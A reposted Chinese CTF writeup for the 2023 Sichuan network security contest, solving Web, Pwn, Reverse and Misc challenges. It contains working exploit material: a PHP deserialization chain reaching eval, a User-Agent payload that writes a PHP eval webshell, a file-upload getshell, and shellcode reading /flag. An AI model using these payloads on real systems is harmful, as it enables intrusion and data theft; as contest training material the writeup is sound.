2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup

这篇具有很好参考价值的文章主要介绍了2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Web

PHP’s Ending

反序列化eval截断无参数RCE

<?php
  // error_reporting(0);
  // highlight_file(__FILE__);
  class saday{
  public $reason="things dont work as i expecting";
public function __construct($reason) {
  $this->reason = $reason;
}
public function __destruct()
  {
    echo "today is a saday....,because".$this->reason."\n";
  }
}
class chance{
  public $choice;
  public $better;
  public function __construct($better) {   
    $this->better = $better;
  }
  public function __clone()
  {
    ($this->better)();
  }
}

class alright{
  public $confidence;
  public $tmp;
  public function __construct($confidence,$tmp) {   
    $this->confidence = $confidence;
    $this->tmp = $tmp;
  }
  public function __toString()
  {
    $this->tmp=clone $this->confidence;
    return "alright...";
  }
}
class shell{
  public $cmd;
  public function __construct($cmd) {   
    $this->cmd = $cmd;
  }
  public function __invoke()
  {
    echo "invoke";
    if("moonsy"===preg_replace('/;+/',"moonsy",preg_replace("/[A-Za-z_]+\(+|\)/","",$this->cmd))){
      echo 'moonsymoonsy';
      eval($this->cmd."moonsy");
    }
  }
}

$chance = new shell('eval(next(getallheaders()));__halt_compiler();');
// $chance = new shell('phpinfo();__halt_compiler();');
$tmp = new chance($chance);
$alright = new alright($tmp,$tmp);

$saday = new saday($alright);
$a = serialize($saday);
echo urldecode($a);
echo "\n";

然后在写入一个webshell反弹

POST / HTTP/1.1
Host:80.endpoint-b3f1d96476b845ae903a4eb2b0350bd6.m.ins.cloud.dasctf.com:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: system("echo '<?php @eval(\$_POST[1]);?>' >1.php");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 215
test:id

moonsy=O:5:"saday":1:{s:6:"reason";O:7:"alright":2:{s:10:"confidence";O:6:"chance":2:{s:6:"choice";N;s:6:"better";O:5:"shell":1:{s:3:"cmd";s:46:"eval(next(getallheaders()));__halt_compiler();";}}s:3:"tmp";r:3;}}

webshell反弹之后在根目录下看到secret.txt,里面存着用户boogipop的密码

passwd:just_a_trick

su boogipop

之后直接cat /flag就行

web-game-1-1

在源码中飞机爆炸处理之后有一个GET参数请求

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup
直接传scores即可获得flag:/useful.php?scores=1000000000

can_you_getshell

给了源码,但是登录后台需要账号密码,但是/admin/insert_php能直接任意文件上传

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup

可以直接把下面的提交html代码复制出来,修改提交地址

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup

然后抓包传Shell

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup

直接蚁剑连接,根目录下有flag

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup

Pwn

babyshell

Exp

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')	#info

path = "./babyshell"

#p = process(path)
p = remote('tcp.cloud.dasctf.com', 28992)
elf = ELF(path)
libc = elf.libc

def g():
	gdb.attach(p)
	raw_input()


sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendafterline(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
inv = lambda : p.interactive()

shellcode = asm(
"""
mov rax, 0x101
mov rdi, 0x20
push rsi
mov rbx, 0x67616c662f
push rbx
mov rsi, rsp
xor rdx, rdx
syscall

mov rdi, rax
xor rax, rax
pop rsi
pop rsi
mov rbx, rsi
add rbx, 0x500
push rsi
mov rsi, rbx
mov rdx, 0x200
syscall

xor rax, rax
inc rax
mov rdi, 1
syscall

"""
)


sl(shellcode)

inv()

Reverse

packed

拖入发现是upx的壳

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup
直接使用upx脱壳失败,使用16进制编辑器将前三个PAC改成 UPX,然后脱壳
根据下面两个判断推测是一个魔改的RC4,使用的是加法

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup
2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup
查看密文是34位,直接输入34a,然后将input中的数据提取出来

Exp

#include<stdio.h>

int main()
{
    unsigned char enc[] = {0x9E, 0x56, 0x81, 0x83, 0xBF, 0x4F, 0x7D, 0x83, 0xF0, 0x69, 0x0D, 0xBF, 0x7A, 0x86, 0xF7, 0x21, 0x5C, 0x04, 0x5F, 0x74, 0x64, 0xA5, 0x95, 0xCF, 0x6A, 0x72, 0x7E, 0x01, 0xF9, 0xC9, 0x9F, 0x51, 0xD3, 0x5F};
    unsigned char data[] = {0xBB, 0x76, 0x8F, 0xA1, 0xCC, 0x6A, 0x63, 0x8F, 0xE3, 0x5A, 0x3A, 0xBD, 0x70, 0x82, 0xF4, 0x23, 0x5B, 0xEC, 0x61, 0xA1, 0x66, 0x9F, 0x84, 0xFD, 0x97, 0x5F, 0x80, 0x1A, 0x19, 0xE7, 0xB5, 0x6D, 0xE2, 0x43};

    for(int i = 0; i < 34; i++)
    {
        printf("%c", (unsigned char)(enc[i] - (unsigned char)(data[i] - 'a')));
    }

    return 0;
}

// DASCTF{Unp4cked_by_4_gr34t_HACKER}

Misc

edocne

根据题目名称为encode的逆序,推测有逆序

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup
逆序->base58->逆序->base64,解压里面的是firefox取证,以前做过一样的,GKCTF X DASCTF应急挑战杯Misc-Writeup FireFox Forensics:https://mochu.blog.csdn.net/article/details/118365556

直接脚本搜哈:https://github.com/lclevy/firepwd

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup

Baby_TCP

pwd1.txtpwd2.txt是4字节CRC爆破明文

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup

PS C:\Users\Administrator\Downloads> php -r "var_dump(hex2bin('50615334576f7234'));"
Command line code:1:
string(8) "PaS4Wor4"

解hex得到压缩包密码: PaS4Wor4

zip.pcapngdata.data字段是传输数据的

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup

直接tshark提取即可:tshark -r zip.pcapng -T fields -Y "data.data" -e data.data

直接丢进CyberChef解Hex

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup
得到压缩包十六进制,简单处理下

zipData = "504b03041400010063003b865c56dd78da02f1000000d500000008000b00666c61672e74787401990700020041450300000783f4951373ddd080270982f705af88c0f9aa51e18d6c4f2dccbc3175fc85b18627cc162b426af443183d769c17adfbd9ae9bb4eb452d953508027dc6931dcbd32db10ecf9f2839a91f5980399ecd78b4d749b3033f5c42a7fdb3b2a92727ecab2380f53aaede40e141899b6a9584835f1de92843385939d942d3508e818f8851a31b23910defe4703c8c26d052dc4bc9cd7a2f94b7284e42fcda6d94515a92fca3895b580f0c74fe0122a06b90ed10213e0892e21c59f763bb50b0fd6ed583600e88e8a1ac95db6cd54cd934023906ddcb44f883deed7fe924a46a91feab42de1a4728bb78e717da3cb8c5f139fc2241504b010214001400010063003b865c56dd78da02f1000000d500000008002f000000000000002000000000000000666c61672e7478740a0020000000000001001800d322ee9f514bd901ab9112a0514bd9012d75a92f504bd9010199070002004145030000504b0506000000000100010065000000220100000000"
with open('flag.zip', 'wb') as f:
	f.write(bytes.fromhex(zipData))

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup
继续查看password.pcapng,发现data.data也有数据

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup

但是提取出来没有正确的密码,继续查看发现端口存在异常,要么101要么100猜测最后一位为二进制

2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup
提取出来:tshark -r password.pcapng -T fields -Y "data.data" -e tcp.dstport

注意是含有data.data的端口,提取出来转化处理

binContent = ""
with open('data3.txt', 'r') as f:
	lines = f.readlines()
	for line in lines:
		binContent += line.strip()[-1]
print(binContent)

解码二进制
2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup,Game Writeups,四川省网络与信息安全技能大赛,Writeup
得到压缩包密码,解压得到flag: Welcome to DASCTF. Congratulations. The password is DZhqDrck2LHX2kXWdcHuYhsX文章来源地址https://www.toymoban.com/news/detail-723918.html

You 3r4 v4ry sm3rt!
You 3r4 v4ry sm3rt!
You 3r4 v4ry sm3rt!

Thank you for your love for CTF!
Thank you for your love for CTF!
Thank you for your love for CTF!

DASCTF{b4a7c67f-5236-4bce-bcbe-1a2359337d49}

到了这里,关于2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 2021四川省icpc省赛H题 Nihongo wa Muzukashii Desu 日本語は難しいです!

    日本語は難しいです! それは難しくないと思うだけど 传送门 一些吐槽 这题好像恶心了不少学弟啊 其实只要读懂了题就很好做, 对于我这种日语高考生来说确实是有点犯规了 不过当时我写的时候不能用翻译一看题面一大串英文就被我pass掉, 后面看到一大堆人过了我才去写

    2023年04月16日
    浏览(27)
  • 2023年全国职业院校技能大赛信息安全管理与评估网络安全渗透任务书

    全国职业院校技能大赛 高等职业教育组 信息安全管理与评估 任务书 模块三 网络安全渗透、理论技能与职业素养 比赛时间及注意事项 本阶段比赛时长为180分钟,时间为 9:00-12:00。 【注意事项】 (1)通过找到正确的flag值来获取得分,flag统一格式如下所示: flag{flag值 } 这种

    2024年02月10日
    浏览(34)
  • 2023年全国职业院校技能大赛-信息安全管理与评估-赛题 1

    目录 信息安全管理与评估 赛题一 模块一 网络平台搭建与设备安全防护 任务1:网络平台搭建 (50分) 任务2:网络安全设备配置与防护(250分) 模块二 网络安全事件响应、数字取证调查、应用程序安全 竞赛项目赛题 介绍 所需的设备、机械、装置和材料 评分方案 项目和任

    2024年02月06日
    浏览(34)
  • 2023年菏泽市中职学校技能大赛“网络安全”赛项规程

    202 3 年菏泽市 中职学 校技能大赛 “ 网络安全 ”赛项规程 一、赛项名称 赛项名称: 网络安全 赛项所属专业大类: 信息技术类 通过竞赛,检验参赛选手对网络、服务器系统等网络空间中各个信息系统的安全防护能力,以及分析、处理现场问题的能力。通过本赛项的训练和

    2024年02月11日
    浏览(25)
  • 2023年甘肃省职业院校技能大赛高职组“信息安全管理与评估”赛项样卷B

    信息安全管理与评估 第一阶段 网络平台搭建与设备安全防护 目 录 第一阶段竞赛项目试题 3 介绍 3 所需的设备、机械、装置和材料 3 评分方案 3 注意事项 3 项目和任务描述 3 网络拓扑图 3 IP地址规划表 5 任务1:网络平台搭建 6 任务2:网络安全设备配置与防护 6 第二阶段竞赛

    2023年04月13日
    浏览(32)
  • 2023年台州市第三届网络安全技能大赛(MISC)这是神马

    考点:冰蝎流量特征数据包,需要解密 emoj 解密 冰蝎之前做过 特征就是先 base64 编码在 AES 编码 我们在数据包里面找到了密钥: 144a6b2296333602 这里我们知道了密钥我们就去解密 先筛选 HTTP 协议 导出 HTTP 数据流可以看到传了 shell.php 随便找一个然后复制, AES 解密这里我没工具

    2024年02月08日
    浏览(39)
  • 2023年贵州省职业技能大赛“网络安全” 项目比赛任务书

    A-1:登录安全加固(Windows, Linux) A-1任务一 登录安全加固(Windows, Linux) 请对服务器Windows、Linux按要求进行相应的设置,提高服务器的安全性。 1.密码策略(Windows, Linux) a.最小密码长度不少于13个字符; b.密码必须符合复杂性要求。 2.用户安全管理(Windows) a.设置取得文件或

    2023年04月23日
    浏览(33)
  • 2023年云南省职业院校技能大赛中职组“网络安全”赛项样题

    2023年云南省职业院校技能大赛 中职 组 “网络安全”赛项样题 一、竞赛时间 总计:180分钟 二、竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 A、B模块 A-1 登录安全加固 180分钟 200分 A-2 数据库加固 A-3 服务加固SSHVSFTPD A-4 防火墙策略 B-1 隐写术应用-B 400分 B-2 内存取证

    2024年02月06日
    浏览(25)
  • 2023年台州市第三届网络安全技能大赛(MISC)—Black Mamba

    前言:当时比赛没有做出来现在来复现一下 就当记录一下(这个思路没想到) 一张图片 常规得分离,属性, LSB ,盲水印等都尝试过 无果! 考点:异或解密(第一次遇到,没想到) 这里放入 010 发现底部有沉余字符,与十进制 24 异或,得到压缩包 这里得到压缩包 然后我们

    2024年02月08日
    浏览(41)
  • 2023年江西省赣州市技能大赛 网络安全竞赛试题任务书

    A-1任务一 登录安全加固: 1.密码策略: a1.密码策略必须同时满足大小写字母、数字、特殊字符 2.登录策略: a.设置账户锁定阈值为6次错误锁定账户,锁定时间为1分钟,复位账户锁定计数器为1分钟之后 b.一分钟内仅允许5次登录失败,超过5次,登录账号锁定1分钟 3.用户安全

    2024年02月12日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包